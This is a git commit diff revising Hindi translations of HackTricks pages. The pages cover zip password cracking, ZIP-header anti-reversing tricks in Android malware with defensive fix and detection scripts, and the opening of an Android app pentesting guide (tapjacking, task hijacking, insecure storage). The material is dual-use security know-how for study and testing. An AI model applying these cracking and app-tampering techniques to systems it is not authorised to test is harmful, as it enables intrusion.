Translated ['', 'src/windows-hardening/checklist-windows-privilege-escal

This commit is contained in:
Translator 2025-09-04 01:12:27 +00:00
parent f8ec74a2e8
commit 073c8b6b85
18 changed files with 1772 additions and 1783 deletions

View File

@ -2,37 +2,37 @@
{{#include ../../../banners/hacktricks-training.md}}
**कमांड-लाइन टूल्स** zip फ़ाइलों को मैनेज करने के लिए जरूरी हैं — इन्हें zip फ़ाइलों का डायग्नोसिस, रिपेयर और क्रैक करने में इस्तेमाल किया जाता है। यहाँ कुछ महत्वपूर्ण यूटิลिटी हैं:
**Command-line tools** zip फ़ाइलों का प्रबंधन करने के लिए आवश्यक हैं, जो zip फ़ाइलों का निदान, मरम्मत और क्रैक करने में मदद करते हैं। यहां कुछ प्रमुख यूटिलिटीज़ हैं:
- **`unzip`**: बताता है कि कोई zip फ़ाइल क्यों decompress नहीं हो रही है
- **`zipdetails -v`**: zip फ़ाइल फॉर्मेट फ़ील्ड्स का विस्तृत विश्लेषण प्रदान करता है।
- **`zipinfo`**: zip फ़ाइल की सामग्री को बिना निकालें (extract किए) सूचीबद्ध करता है।
- **`zip -F input.zip --out output.zip`** और **`zip -FF input.zip --out output.zip`**: क्षतिग्रस्त (corrupted) zip फ़ाइलों की मरम्मत की कोशिश करते हैं।
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: zip पासवर्ड्स को ब्रूट-फोर्स से क्रैक करने के लिए एक टूल, लगभग 7 अक्षरों तक के पासवर्ड के लिए प्रभावी।
- **`unzip`**: बताता है कि zip फ़ाइल क्यों डीकम्प्रेस नहीं हो रही
- **`zipdetails -v`**: zip फ़ाइल फॉर्मैट फ़ील्ड्स का विस्तृत विश्लेषण देता है।
- **`zipinfo`**: बिना निकाले zip फ़ाइल की सामग्री सूचीबद्ध करता है।
- **`zip -F input.zip --out output.zip`** और **`zip -FF input.zip --out output.zip`**: करप्टेड zip फ़ाइलों की मरम्मत करने की कोशिश करते हैं।
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: ज़िप पासवर्ड्स के ब्रूट-फोर्स क्रैकिंग के लिए एक टूल, लगभग 7 कैरेक्टर्स तक के पासवर्ड्स के लिए प्रभावी।
[Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) zip फ़ाइलों की संरचना और मानकों पर व्यापक विवरण प्रदान करता है।
The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) zip फ़ाइलों की संरचना और मानकों पर व्यापक जानकारी प्रदान करता है।
यह जानना महत्वपूर्ण है कि पासवर्ड-प्रोटेक्टेड zip फ़ाइलें अंदर के फ़ाइल नामों या फ़ाइल साइज़ को **एनक्रिप्ट नहीं करतीं (do not encrypt filenames or file sizes)** — यह एक सुरक्षा कमजोरी है जो RAR या 7z फ़ाइलों के साथ साझा नहीं होती क्योंकि वे इस जानकारी को एनक्रिप्ट करते हैं। आगे, पुराने ZipCrypto तरीके से एनक्रिप्ट की गई zip फ़ाइलें तब एक **plaintext attack** के प्रति संवेदनशील होती हैं जब किसी compressed फ़ाइल की एक अनएन्क्रिप्टेड कॉपी उपलब्ध हो। यह हमला ज्ञात कॉन्टेन्ट का उपयोग कर zip के पासवर्ड को क्रैक कर देता है — इस कमजोरी का वर्णन [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) में है और इसे [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf) में और विस्तार से समझाया गया है। हालांकि, **AES-256** एनक्रिप्शन वाले zip फ़ाइलें इस plaintext attack से सुरक्षित होती हैं, जो संवेदनशील डेटा के लिए सुरक्षित एनक्रिप्शन विधियाँ चुनने के महत्व को दर्शाता है।
यह ध्यान रखना महत्वपूर्ण है कि पासवर्ड-प्रोटेक्टेड zip फ़ाइलें अंदर के filenames या file sizes को एन्क्रिप्ट नहीं करतीं, यह एक सुरक्षा दोष है जो RAR या 7z फ़ाइलों में मौजूद नहीं है जो इस जानकारी को एन्क्रिप्ट करते हैं। इसके अलावा, ZipCrypto विधि से एन्क्रिप्ट की गई zip फ़ाइलें उस स्थिति में **plaintext attack** के प्रति संवेदनशील होती हैं अगर संकुचित फ़ाइल की एक अनएन्क्रिप्टेड कॉपी उपलब्ध हो। यह हमला ज्ञात सामग्री का उपयोग करके zip का पासवर्ड क्रैक करता है, इस भेद्यता का विवरण [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) में दिया गया है और इसे [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf) में और विस्तार से समझाया गया है। हालाँकि, **AES-256** एन्क्रिप्शन से सुरक्षित की गई zip फ़ाइलें इस plaintext attack से प्रतिरक्षित हैं, जो संवेदनशील डेटा के लिए सुरक्षित एन्क्रिप्शन विधियों के चुनाव का महत्व दर्शाता है।
---
## APKs में हेरफेर किए गए ZIP headers का उपयोग करके Anti-reversing ट्रिक्स
## APKs में संशोधित ZIP हेडर्स का उपयोग करके एंटी-रिवर्सिंग ट्रिक्स
आधुनिक Android malware droppers खराब/malformed ZIP metadata का उपयोग स्टैटिक टूल्स (jadx/apktool/unzip) को तोड़ने के लिए करते हैं, जबकि APK को डिवाइस पर इंस्टॉल करने योग्य बनाए रखते हैं। सबसे सामान्य ट्रिक्स हैं:
आधुनिक Android malware droppers खराब रूप से बने ZIP metadata का उपयोग करते हैं ताकि वे static tools (jadx/apktool/unzip) को तोड़ दें, जबकि APK को डिवाइस पर इंस्टॉल करने योग्य बनाए रखें। सबसे आम ट्रिक्स हैं:
- ZIP General Purpose Bit Flag (GPBF) का bit 0 सेट करके Fake encryption
- पार्सर्स को भ्रमित करने के लिए बड़े/कस्टम Extra fields का दुरुपयोग
- वास्तविक आर्टिफैक्ट्स छिपाने के लिए फ़ाइल/डायरेक्टरी नामों का टकराव (उदा., एक directory जिसका नाम `classes.dex/` है, जो वास्तविक `classes.dex` के बगल में मौजूद हो)
- ZIP General Purpose Bit Flag (GPBF) का bit 0 सेट करके fake encryption
- parsers को भ्रमित करने के लिए large/custom Extra fields का दुरुपयोग
- फ़ाइल/डायरेक्टरी नाम टकराव का उपयोग करके वास्तविक आर्टिफैक्ट्स छुपाना (उदा., a directory named `classes.dex/` next to the real `classes.dex`)
### 1) Fake encryption (GPBF bit 0 set) बिना असली क्रिप्टो के
### 1) Fake encryption (GPBF bit 0 set) without real crypto
लक्षण:
- `jadx-gui` निम्न त्रुटियों के साथ फेल हो सकता है:
- `jadx-gui` निम्न त्रुटियों के साथ फेल हो जाता है:
```
java.util.zip.ZipException: invalid CEN header (encrypted entry)
```
- `unzip` मुख्य APK फ़ाइलों के लिए पासवर्ड माँगता है, भले ही एक वैध APK में encrypted `classes*.dex`, `resources.arsc`, या `AndroidManifest.xml` नहीं हो सकते:
- `unzip` मुख्य APK फ़ाइलों के लिए पासवर्ड माँगता है, हालाँकि वैध APK में encrypted `classes*.dex`, `resources.arsc`, या `AndroidManifest.xml` नहीं हो सकते:
```bash
unzip sample.apk
@ -43,11 +43,11 @@ skipping: resources.arsc/res/domeo/eqmvo.xml incorrect password
skipping: classes2.dex incorrect password
```
zipdetails के साथ पता लगाना:
Detection with zipdetails:
```bash
zipdetails -v sample.apk | less
```
local और central headers के लिए General Purpose Bit Flag को देखें। एक स्पष्ट संकेतक मान है bit 0 set (Encryption) यहां तक कि core entries के लिए भी:
local और central headers के लिए General Purpose Bit Flag को देखें। एक संकेतक मान core entries के लिए भी bit 0 set (Encryption) होना है:
```
Extract Zip Spec 2D '4.5'
General Purpose Flag 0A09
@ -56,9 +56,9 @@ General Purpose Flag 0A09
[Bit 3] 1 'Streamed'
[Bit 11] 1 'Language Encoding'
```
ह्यूरिस्टिक: यदि एक APK डिवाइस पर इंस्टॉल होकर चलता है लेकिन core entries टूल्स को "encrypted" दिखती हैं, तो GPBF में छेड़छाड़ की गई है
अनुमान: यदि एक APK डिवाइस पर इंस्टॉल और रन होता है लेकिन core entries टूल्स के लिए "encrypted" दिखाई देते हैं, तो GPBF में छेड़छाड़ की गई थी
ठीक करने के लिए GPBF बिट 0 को Local File Headers (LFH) और Central Directory (CD) दोनों एंट्रीज़ में क्लियर करें। Minimal byte-patcher:
समाधान: Local File Headers (LFH) और Central Directory (CD) दोनों एंट्रीज़ में GPBF बिट 0 को क्लियर करें। न्यूनतम byte-patcher:
```python
# gpbf_clear.py clear encryption bit (bit 0) in ZIP local+central headers
import struct, sys
@ -94,31 +94,31 @@ print(f'Patched: LFH={p_lfh}, CDH={p_cdh}')
python3 gpbf_clear.py obfuscated.apk normalized.apk
zipdetails -v normalized.apk | grep -A2 "General Purpose Flag"
```
अब आपको मुख्य प्रविष्टियों पर `General Purpose Flag 0000`िखाई देना चाहिए और टूल्स APK को फिर से पार्स करेंगे।
अब आप मुख्य प्रविष्टियों पर `General Purpose Flag 0000`ेखेंगे और उपकरण फिर से APK को पार्स करेंगे।
### 2) पार्सर्स को तोड़ने के लिए बड़े/कस्टम Extra फ़ील्ड
### 2) पार्सर्स तोड़ने के लिए बड़े/कस्टम Extra फ़ील्ड
हमलावर हेडरों में अतिविशाल Extra फ़ील्ड और अजीब IDs डाल देते हैं ताकि डीकम्पाइलर्स फंस जाएँ। वास्तविक दुनिया में आप वहाँ एम्बेडेड कस्टम मार्कर्स देख सकते हैं (उदा., स्ट्रिंग्स जैसे `JADXBLOCK`)
हमलावर हेडर में अत्यधिक बड़े Extra फ़ील्ड और अजीब IDs भर देते हैं ताकि decompilers फंस जाएँ। असल में आप कस्टम मार्कर्स (उदा., `JADXBLOCK` जैसी strings) वहां embedded देख सकते हैं
निरीक्षण:
```bash
zipdetails -v sample.apk | sed -n '/Extra ID/,+4p' | head -n 50
```
देखे गए उदाहरण: `0xCAFE` ("Java Executable") या `0x414A` ("JA:") जैसे अज्ञात IDs जो बड़े payloads ले जा रहे थे
देखे गए उदाहरण: `0xCAFE` ("Java Executable") या `0x414A` ("JA:") जैसे अनजान IDs बड़े payloads ले जा रहे हैं
DFIR ह्यूरिस्टिक्स:
- कोर एंट्रीज़ (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`) पर Extra fields असामान्य रूप से बड़े हों तो अलर्ट करें।
- उन एंट्रीज़ पर अज्ञात Extra IDs को संदिग्ध मानें।
DFIR heuristics:
- जब core entries (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`) पर Extra fields असामान्य रूप से बड़े हों तो alert करें।
- उन entries पर अनजान Extra IDs को संदिग्ध मानें।
व्यावहारिक निवारण: archive को फिर से बनाने से (उदा., निकाले गए फाइलों को re-zipping) दुर्भावनापूर्ण Extra fields हट जाते हैं। यदि tools नकली एन्क्रिप्शन के कारण extract करने से इनकार करते हैं, तो पहले ऊपर जैसा GPBF bit 0 साफ़ करें, फिर पुनः पैकेज करें:
Practical mitigation: archive को पुनर्निर्मित करने (उदा., re-zipping extracted files) से malicious Extra fields हट जाते हैं। यदि tools नकली encryption के कारण extract करने से इनकार करें, तो पहले ऊपर बताए अनुसार GPBF bit 0 को clear करें, फिर repackage करें:
```bash
mkdir /tmp/apk
unzip -qq normalized.apk -d /tmp/apk
(cd /tmp/apk && zip -qr ../clean.apk .)
```
### 3) फ़ाइल/डायरेक्टरी नाम टकराव (वास्तविक आर्टिफैक्ट छिपाना)
### 3) File/Directory name collisions (hiding real artifacts)
एक ZIP में एक ही समय में एक फ़ाइल `X` और एक डायरेक्टरी `X/` हो सकती है। कुछ extractors और decompilers भ्रमित हो जाते हैं और डायरेक्टरी एंट्री के साथ वास्तविक फ़ाइल को ओवरले या छिपा सकते हैं। यह core APK नामों जैसे `classes.dex` के साथ एंट्री के टकराने में देखा गया है।
एक ZIP में एक फ़ाइल `X` और एक डायरेक्टरी `X/` दोनों हो सकते हैं। कुछ extractors और decompilers भ्रमित हो जाते हैं और डायरेक्टरी एंट्री के साथ वास्तविक फ़ाइल को ओवरले या छपा सकते हैं। यह core APK नामों जैसे `classes.dex` के साथ एंट्री टकराने के मामलों में देखा गया है।
Triage and safe extraction:
```bash
@ -131,7 +131,7 @@ unzip normalized.apk -d outdir
# replace outdir/classes.dex? [y]es/[n]o/[A]ll/[N]one/[r]ename: r
# new name: unk_classes.dex
```
प्रोग्रामटिक डिटेक्शन पोस्ट-फिक्स:
प्रोग्रामटिक डिटेक्शन पोस्ट-फिक्स:
```python
from zipfile import ZipFile
from collections import defaultdict
@ -148,10 +148,10 @@ for base, variants in collisions.items():
if len(variants) > 1:
print('COLLISION', base, '->', variants)
```
Blue-team detection ideas:
- उन APKs को फ़्लैग करें जिनके local headers एन्क्रिप्शन को चिह्नित करते हैं (GPBF bit 0 = 1) फिर भी install/run होते हैं।
- core entries पर बड़े/अज्ञात Extra fields को फ़्लैग करें (markers जैसे `JADXBLOCK` देखें)।
- path-collisions को फ़्लैग करें (`X` और `X/`) विशेष रूप से `AndroidManifest.xml`, `resources.arsc`, `classes*.dex` के लिए।
Blue-team डिटेक्शन विचार:
- Flag ऐसे APKs जिनके local headers एन्क्रिप्शन दर्शाते हैं (GPBF bit 0 = 1) फिर भी install/run होते हैं।
- Flag core entries पर बड़े/unknown Extra fields (markers जैसे `JADXBLOCK` देखें)।
- Flag path-collisions (`X` और `X/`) विशेष रूप से `AndroidManifest.xml`, `resources.arsc`, `classes*.dex` के लिए।
---

File diff suppressed because it is too large Load Diff

View File

@ -1,10 +1,10 @@
# Android एप्लिकेशन Pentesting
# Android Applications Pentesting
{{#include ../../banners/hacktricks-training.md}}
## Android Applications Basics
## Android Applications की मूल बातें
यह पृष्ठ पढ़ना ज़ोरदार रूप से अनुशंसित है ताकि आप Android security से संबंधित सबसे महत्वपूर्ण हिस्सों और किसी Android application में सबसे खतरनाक components के बारे में जान सकें:
यह पृष्ठ पढ़ना अत्यधिक अनुशंसित है ताकि आप **Android सुरक्षा से संबंधित सबसे महत्वपूर्ण हिस्से और किसी Android एप्लिकेशन में सबसे खतरनाक घटक** के बारे में जान सकें:
{{#ref}}
@ -13,15 +13,15 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
यह मुख्य tool है जिसकी आपको एक android device (emulated or physical) से कनेक्ट करने के लिए आवश्यकता होती है\
**ADB** आपको कंप्यूटर से **USB** या **Network** के माध्यम से devices को control करने की अनुमति देता है। यह utility दोनों दिशाओं में फाइलों की **copying**, apps की **installation** और **uninstallation**, shell कमांड्स का **execution**, डेटा का **backing up**, logs का **reading**, तथा अन्य फ़ंक्शन्स सक्षम बनाती है।
यह मुख्य उपकरण है जिसकी आपको किसी android डिवाइस (emulated या physical) से कनेक्ट करने के लिए आवश्यकता होती है.\
**ADB** आपको कंप्यूटर से **USB** या **Network** के माध्यम से डिवाइस को नियंत्रित करने की अनुमति देता है। यह उपयोगिता दोनों दिशाओं में फ़ाइलों की **कॉपी** करने, ऐप्स की **इंस्टॉलेशन** और **अनइंस्टॉलेशन**, shell commands का **निष्पादन**, डेटा का **बैकअप** लेने, लॉग्स को **पढ़ने**, और अन्य कार्यों में सक्षम बनाती है।
निम्नलिखित सूची [**ADB Commands**](adb-commands.md) को देखें ताकि आप adb का उपयोग कैसे करना है सीख सकें।
adb का उपयोग कैसे करना है यह सीखने के लिए निम्नलिखित सूची [**ADB Commands**](adb-commands.md) देखें।
## Smali
कभी-कभी application code को modify करना उपयोगी होता है ताकि hidden information (शायद अच्छी तरह obfuscated passwords या flags) तक पहुँचा जा सके। तब, apk को decompile करके, code modify करके और उसे फिर से recompile करना दिलचस्प हो सकता है।\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). यह dynamic analysis के दौरान प्रस्तुत कई tests के लिए एक **वैकल्पिक तरीका** बहुत उपयोगी हो सकता है। इसलिए, इस संभावना को हमेशा ध्यान में रखें।
कभी-कभी यह दिलचस्प होता है कि एप्लिकेशन कोड को **संशोधित** किया जाए ताकि **छिपी हुई जानकारी** (शायद अच्छी तरह obfuscated passwords या flags) तक पहुँच सकें। फिर, apk को decompile करना, कोड संशोधित करना और उसे recompile करना दिलचस्प हो सकता है.\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). यह **dynamic analysis के दौरान कई परीक्षणों के लिए एक विकल्प** के रूप में बहुत उपयोगी हो सकता है। इसलिए, इस संभावना को हमेशा ध्यान में रखें।
## Other interesting tricks
@ -29,7 +29,7 @@ android-applications-basics.md
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
- **APK डाउनलोड करें**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- डिवाइस से APK निकालना:
```bash
adb shell pm list packages
@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## केस स्टडीज़ & Vulnerabilities
## केस स्टडीज़ और कमजोरियाँ
{{#ref}}
@ -61,41 +61,41 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
{{#endref}}
## स्टैटिक विश्लेषण
## Static Analysis
सबसे पहले, क APK का विश्लेषण करने के लिए आपको decompiler का उपयोग करके **Java code** पर नज़र डालनी चाहिए।\
कृपया, [**यहाँ पढ़ें विभिन्न उपलब्ध decompilers के बारे में जानकारी पाने के लिए**](apk-decompilers.md).
सबसे पहले, किसी APK का विश्लेषण करने के लिए आपको decompiler का उपयोग करके **Java code** देखना चाहिए।\
कृपया, [**read here to find information about different available decompilers**](apk-decompilers.md).
### रोचक जानकारी ढूँढना
### रोचक जानकारी की तलाश
APK की **strings** देखकर आप **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** और अन्य दिलचस्प चीज़ें खोज सकते हैं... कोड execution **backdoors** या authentication backdoors (app में hardcoded admin credentials) भी खोजें।
APK की **strings** को देखकर आप **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** और कोई भी रोचक चीज़ ढूँढ सकते हैं... यहाँ तक कि code execution **backdoors** या authentication **backdoors** (ऐप के लिए hardcoded admin credentials) भी देखें।
**Firebase**
विशेष ध्यान दें कि **Firebase URLs** कैसे कॉन्फ़िगर हैं और जांचें कि क्या यह गलत कॉन्फ़िगर है। [Firebase क्या है और इसे कैसे exploit करें इसके बारे में अधिक जानकारी यहाँ।](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
विशेष ध्यान दें **firebase URLs** पर और जाँचें कि क्या यह गलत तरीके से कॉन्फ़िगर है। [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### एप्लिकेशन की बुनियादी समझ - Manifest.xml, strings.xml
### Basic understanding of the application - Manifest.xml, strings.xml
किसी एप्लिकेशन के _Manifest.xml_ और **_strings.xml_** फाइलों की जांच से संभावित सुरक्षा कमजोरियाँ उजागर हो सकती हैं। इन फाइलों को decompilers से एक्सेस किया जा सकता है या APK की file extension को .zip में बदलकर उसे unzip करके भी निकाला जा सकता है।
**The examination of an application's _Manifest.xml_ and **_strings.xml_** files can reveal potential security vulnerabilities**. इन फाइलों तक decompilers के माध्यम से या APK की file extension को .zip में बदलकर और उसे unzip करके पहुँच किया जा सकता है।
**Manifest.xml** से पहचानी जाने वाली कमजोरियाँ शामिल हैं:
- **Debuggable Applications**: Manifest.xml में `debuggable="true"` सेट होने वाले एप्लिकेशन जोखिम पैदा करते हैं क्योंकि वे ऐसे कनेक्शन्स की अनुमति देते हैं जो exploit का रास्ता खोल सकते हैं। debuggable एप्लिकेशन को ढूँढने और exploit करने के बारे में समझने के लिए संबंधित ट्यूटोरियल देखें।
- **Backup Settings**: संवेदनशील जानकारी वाले एप्लिकेशन के लिए `android:allowBackup="false"` को स्पष्ट रूप से सेट किया जाना चाहिए ताकि adb के माध्यम से unauthorized data backups से बचा जा सके, विशेषकर जब usb debugging सक्षम हो।
- **Network Security**: कस्टम network security configurations (`android:networkSecurityConfig="@xml/network_security_config"`) जो _res/xml/_ में होते हैं, certificate pins और HTTP traffic settings जैसी सुरक्षा विवरण specify कर सकते हैं। एक उदाहरण यह है कि कुछ डोमेनों के लिए HTTP traffic की अनुमति देना
- **Exported Activities and Services**: Manifest में exported activities और services की पहचान उन components को उजागर कर सकती है जिन्हें गलत तरीके से उपयोग किया जा सकता है। dynamic testing के दौरान और विश्लेषण से पता चल सकता है कि इन्हें कैसे exploit किया जा सकता है।
- **Content Providers and FileProviders**: एक्सपोज्ड content providers unauthorized access या data modification की अनुमति दे सकते हैं। FileProviders की configuration की भी बारीकी से जाँच की जानी चाहिए
- **Broadcast Receivers and URL Schemes**: ये components exploitation के लिए उपयोग किए जा सकते हैं, खासकर यह ध्यान में रखते हुए कि URL schemes इनपुट-वulnerabilities के लिए कैसे manage किए जाते हैं।
- **SDK Versions**: `minSdkVersion`, `targetSDKVersion`, और `maxSdkVersion` attributes बताती हैं कि कौन से Android versions समर्थित हैं, जो यह दिखाते हैं कि पुराने, कमजोर Android versions का समर्थन न करने का महत्व क्यों है।
- **Debuggable Applications**: Manifest.xml में `debuggable="true"` सेट की गई applications जोखिमपूर्ण होती हैं क्योंकि ये कनेक्शन की अनुमति देती हैं जो exploitation तक ले जा सकती हैं। debuggable applications को ढूँढने और उनका फायदा उठाने के बारे में समझने के लिए संबंधित ट्यूटोरियल देखें।
- **Backup Settings**: संवेदनशील जानकारी रखने वाले applications के लिए `android:allowBackup="false"` attribute को स्पष्ट रूप से सेट करना चाहिए ताकि adb के माध्यम से अनधिकृत data backups से बचा जा सके, खासकर जब usb debugging सक्षम हो।
- **Network Security**: कस्टम network security configurations (`android:networkSecurityConfig="@xml/network_security_config"`) जो _res/xml/_ में होते हैं, certificate pins और HTTP traffic सेटिंग्स जैसी सुरक्षा जानकारी निर्दिष्ट कर सकते हैं। एक उदाहरण किसी विशिष्ट डोमेन के लिए HTTP ट्रैफ़िक की अनुमति देना हो सकता है
- **Exported Activities and Services**: manifest में exported activities और services की पहचान करना उन components को उजागर कर सकता है जिन्हें दुरुपयोग किया जा सकता है। डायनामिक परीक्षण के दौरान आगे विश्लेषण यह स्पष्ट कर सकता है कि इन components का फायदा कैसे उठाया जा सकता है।
- **Content Providers and FileProviders**: एक्सपोज़्ड content providers अनधिकृत पहुँच या डेटा में संशोधन की अनुमति दे सकते हैं। FileProviders की कॉन्फ़िगरेशन की भी बारीकी से जाँच करें
- **Broadcast Receivers and URL Schemes**: ये components exploitation के लिए उपयोग किए जा सकते हैं, विशेषकर यह ध्यान दें कि URL schemes इनपुट के लिए कैसे प्रबंधित किए जाते हैं।
- **SDK Versions**: `minSdkVersion`, `targetSDKVersion`, और `maxSdkVersion` attributes समर्थित Android वर्ज़न इंगित करते हैं, जो यह दर्शाते हैं कि पुराने, कमजोर Android वर्ज़न का समर्थन न करना सुरक्षा के लिए महत्वपूर्ण है।
**strings.xml** फाइल से संवेदनशील जानकारी जैसे API keys, custom schemas, और अन्य developer नोट्स मिल सकते हैं, इसीलिए इन resources की सावधानीपूर्वक समीक्षा आवश्यक है।
**strings.xml** फाइल से संवेदनशील जानकारी जैसे कि API keys, custom schemas, और अन्य developer नोट्स मिल सकते हैं, जिससे इन resources की सावधानीपूर्वक समीक्षा की आवश्यकता स्पष्ट होती है।
### Tapjacking
**Tapjacking** एक ऐसा attack है जहाँ एक **दुर्भावनापूर्ण एप्लिकेशन** लॉन्च होती है और **victim application के ऊपर खुद को पोज़िशन कर लेती है**। जब यह victim app को दृश्यतः ढक देता है, तो इसका UI इस तरह डिज़ाइन किया जाता है कि यह यूज़र को बेवकूफ बनाकर उस पर interact करवा लेता है, जबकि यह interaction victim app को पास-थ्रू कर रहा होता है।\
असरतः, यह **यूज़र को अंधा कर देता है जिससे वह यह नहीं जान पाता कि वह वास्तव में victim app पर क्रियाएँ कर रहा है**।
**Tapjacking** एक ऐसा हमला है जहाँ एक **malicious** **application** लॉन्च की जाती है और वह **victim application** के ऊपर स्वयं को पोजिशन कर लेती है। एक बार जब यह पीड़ित ऐप को आंशिक रूप से ढँक देती है, तो इसका UI इस तरह डिज़ाइन किया जाता है कि उपयोगकर्ता को भ्रमित करके वह उस पर इंटरैक्ट करे, जबकि यह इंटरैक्शन पीड़ित ऐप को पास-थ्रू कर देता है।\
असल में, यह **उपयोगकर्ता को अँधा कर देता है ताकि वे न जानें कि वे वास्तव में पीड़ित ऐप पर ही क्रियाएँ कर रहे हैं**।
अधिक जानकारी पाएँः
अधिक जानकारी के लिए देखें:
{{#ref}}
@ -104,82 +104,82 @@ tapjacking.md
### Task Hijacking
एक **activity** जिसका **`launchMode`** **`singleTask`** पर सेट हो और कोई `taskAffinity` परिभाषित न हो, task Hijacking के लिए vulnerable होती है। इसका मतलब यह है कि एक **malicious application** install की जा सकती है और यदि वास्तविक application लॉन्च होने से पहले इसे लॉन्च किया जाए तो यह **वास्तविक एप्लिकेशन के task को hijack कर सकता है** (जिससे यूज़र **malicious application** को वास्तविक समझकर उसी के साथ interact करेगा)।
यदि किसी **activity** का **`launchMode`** **`singleTask`** पर सेट है और कोई `taskAffinity` परिभाषित नहीं है तो वह task Hijacking के लिए कमजोर होता है। इसका मतलब है कि एक **malicious application** इंस्टॉल की जा सकती है और यदि वास्तविक application से पहले लॉन्च हो तो यह **वास्तविक application के task को hijack कर सकता है** (तो उपयोगकर्ता सोचेंगे कि वे वास्तविक ऐप का उपयोग कर रहे हैं जबकि वे **malicious application** के साथ इंटरैक्ट कर रहे हैं)।
अधिक जानकारीः
और जानकारी:
{{#ref}}
android-task-hijacking.md
{{#endref}}
### असुरक्षित डेटा स्टोरेज
### Insecure data storage
**Internal Storage**
Android में, files जो **internal** storage में **store** की जाती हैं, वे सामान्यतः केवल उस **app** द्वारा access किए जाने के लिए डिज़ाइन की गई होती हैं जिसने इन्हें बनाया है। यह सुरक्षा उपाय Android operating system द्वारा लागू किया जाता है और अधिकांश applications की सुरक्षा आवश्यकताओं के लिए पर्याप्त होता है। हालाँकि, developers कभी-कभी `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` जैसे modes का उपयोग करते हैं ताकि files को विभिन्न applications के बीच **shared** किया जा सके। ये modes इन फाइलों तक अन्य applications, जिनमें संभावित रूप से malicious ones भी शामिल हैं, की पहुँच को **रोकते नहीं हैं**
Android में, internal storage में **store** की गई फाइलें सामान्यतः केवल उस **app** द्वारा एक्सेस की जा सकती हैं जिसने उन्हें बनाया था। यह सुरक्षा उपाय Android operating system द्वारा लागू किया जाता है और अधिकांश applications की सुरक्षा आवश्यकताओं के लिए पर्याप्त होता है। हालाँकि, developers कभी-कभी `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` जैसे modes का उपयोग करके फाइलों को विभिन्न applications के बीच **share** करने की अनुमति देते हैं। ये modes फाइलों को अन्य applications, जिनमें संभावित रूप से malicious ones भी शामिल हैं, द्वारा access करने से रोकते नहीं हैं
1. **Static Analysis:**
- `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` के उपयोग की **सावधानीपूर्वक जांच** करें। ये modes फाइलों को **अनवांछित या unauthorized access** के लिए उजागर कर सकते हैं।
- `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` के उपयोग की सावधानीपूर्वक जाँच सुनिश्चित करें। ये modes फाइलों को अनऑपचारिक या अनधिकृत पहुँच के लिए उजागर कर सकते हैं।
2. **Dynamic Analysis:**
- ऐप द्वारा बनाए गए फाइलों पर सेट permissions की **सत्यापित** करें। विशेष रूप से जांचें कि क्या किसी भी फाइल को **संसार-व्यापी रूप से readable या writable** किया गया है। यह एक महत्वपूर्ण सुरक्षा जोखिम हो सकता है, क्योंकि इससे **किसी भी application** (चाहे वह कहीं से भी आई हो) उन फाइलों को **read या modify** कर सकता है।
- ऐप द्वारा बनाए गए फाइलों पर सेट की गई **permissions** की जाँच करें। विशेष रूप से, देखें कि क्या कोई फाइलें ऐसी हैं जो worldwide पढ़ी या लिखी जा सकती हैं। यह एक महत्वपूर्ण सुरक्षा जोखिम हो सकता है, क्योंकि इससे किसी भी इंस्टॉल की गई application को, उसके स्रोत या उद्देश्य की परवाह किए बिना, इन फाइलों को पढ़ने या संशोधित करने की अनुमति मिल सकती है।
**External Storage**
SD Cards जैसे **external storage** पर फाइलों के साथ निपटने के समय कुछ सतर्कताएँ अपनाई जानी चाहिए:
SD Cards जैसे external storage पर फाइलों से निपटते समय कुछ सावधानियाँ अपनानी चाहिए:
1. **Accessibility**:
- external storage पर फाइलें **globally readable और writable** होती हैं। इसका मतलब है कि कोई भी application या user इन फाइलों तक पहुँच सकता है।
